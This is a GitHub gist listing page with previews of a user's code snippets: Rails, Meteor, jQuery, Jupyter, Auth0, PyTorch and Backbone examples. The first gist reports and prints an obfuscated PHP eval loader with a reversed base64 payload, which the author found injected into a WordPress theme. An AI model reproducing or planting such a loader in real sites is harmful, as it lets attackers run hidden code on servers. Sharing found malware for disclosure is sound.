Skip to content

Instantly share code, notes, and snippets.

View colllin's full-sized avatar

Collin Kindrom colllin

View GitHub Profile
@colllin
colllin / gist:6265983
Last active December 21, 2015 06:39
"payday loans" WordPress hack / bug. I found this code injected at the top of the theme's functions.php file.
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc5RHJowHfpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJoQfJkgC7EDd4VGdk4Cck0DckkQCJowelNHbl1XCJowOpAHJgwSM0hXZ0dWY0RiLiAiIuEDd4VGdkACLxQHelR3ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9
@colllin
colllin / events_controller.rb
Last active December 24, 2015 12:29
Rails - basic filtering & sorting
class EventsController < ApplicationController
def index
# start with default filtering (usually no filtering)
@events = Event.all
# custom (user-chosen) filtering
if params[:filters].present?
# you can check for all the different filter values you want to allow. first is future/current/past
@colllin
colllin / gist:8321227
Created January 8, 2014 17:56
Meteor.js Custom Publish Function example
Meteor.publish('user-stats', function() {
var initializing = true;
var userStats = [];
var aYearAgo = moment().utc().subtract({years: 1});
var aQuarterAgo = moment().utc().subtract({months: 3});
var aMonthAgo = moment().utc().subtract({months: 1});
var defaultAggregation = {
wins: 0,
@colllin
colllin / pathfinder.js
Last active March 15, 2016 07:42
Use jQuery to find the shortest selector for a given element in the DOM.
jQuery(function($) {
// returns an array of the potential selector components for the first element in the jQuery object. IDs, classes, and tagNames only.
var getSelectorComponents = function($el) {
var components = [];
var id = $el.attr('id');
if (typeof(id)!='undefined' && /[^\s]/.test(id)) {
components.push('#'+id);
}
@colllin
colllin / jupyter_notebook_config.py
Created September 20, 2017 20:57
Jupyter Example of c.NotebookApp.login_handler_class
# From https://github.com/vlimant/caltech-jupyter/blob/0b113c4aac26d41a35c82c8214351b89b6e80ae5/jupyter/jupyter_notebook_config.py
import os
import json
# Configuration file for jupyter-notebook.
#------------------------------------------------------------------------------
# Configurable configuration
#------------------------------------------------------------------------------
@colllin
colllin / gist:22bc2bb79a842116e18c73b0e6a2368f
Created August 3, 2016 18:36
Auth0 `Login` database action script NO-OP
function login (email, password, callback) {
// This script should authenticate a user against the credentials stored in
// your database.
// It is executed when a user attempts to log in or immediately after signing
// up (as a verification that the user was successfully signed up).
// The `password` parameter of this function is in plain text. It must be
// hashed/salted to match whatever is stored in your database. For example:
// if (bcrypt.compareSync(password, dbPasswordHash)) { ... }
//
// There are three ways this script can finish:
@colllin
colllin / capsule_networks.py
Created November 21, 2017 23:37 — forked from kendricktan/capsule_networks.py
Clean Code for Capsule Networks
"""
Dynamic Routing Between Capsules
https://arxiv.org/abs/1710.09829
"""
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torchvision.transforms as transforms
@colllin
colllin / globalmaptiles.py
Last active November 29, 2017 19:51 — forked from tucotuco/globalmaptiles.py
Classes to calculate Tile coordinates
# From https://gist.github.com/colllin/c02319fe3202470cc4d0a0b73cdbd1a6
#!/usr/bin/env python
###############################################################################
# $Id$
#
# Project: GDAL2Tiles, Google Summer of Code 2007 & 2008
# Global Map Tiles Classes
# Purpose: Convert a raster into TMS tiles, create KML SuperOverlay EPSG:4326,
# generate a simple HTML viewers based on Google Maps and OpenLayers
/*!
* jQuery Form Plugin
* version: 2.52 (07-DEC-2010)
* @requires jQuery v1.3.2 or later
*
* Examples and documentation at: http://malsup.com/jquery/form/
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*/
@colllin
colllin / backbone-auto-routing-example.html
Last active August 10, 2018 09:03
Automatic Backbone Routing - automatically capture links with relative URLs and route them through your Backbone Router. This method does not break any fallback server-side routing, because you're still using real URLs, i.e. `<a href="/my/app/page/4">See?</a>`. If a link can't be handled by any of your routers, it will fall through so the browse…
...
<nav>
<ul>
<li>
<a href="/my/app">Home</a>
</li><li>
<a href="/my/app/posts">Posts</a>
</li><li>
<a href="/my/app/posts/1">The First Post</a>
</li>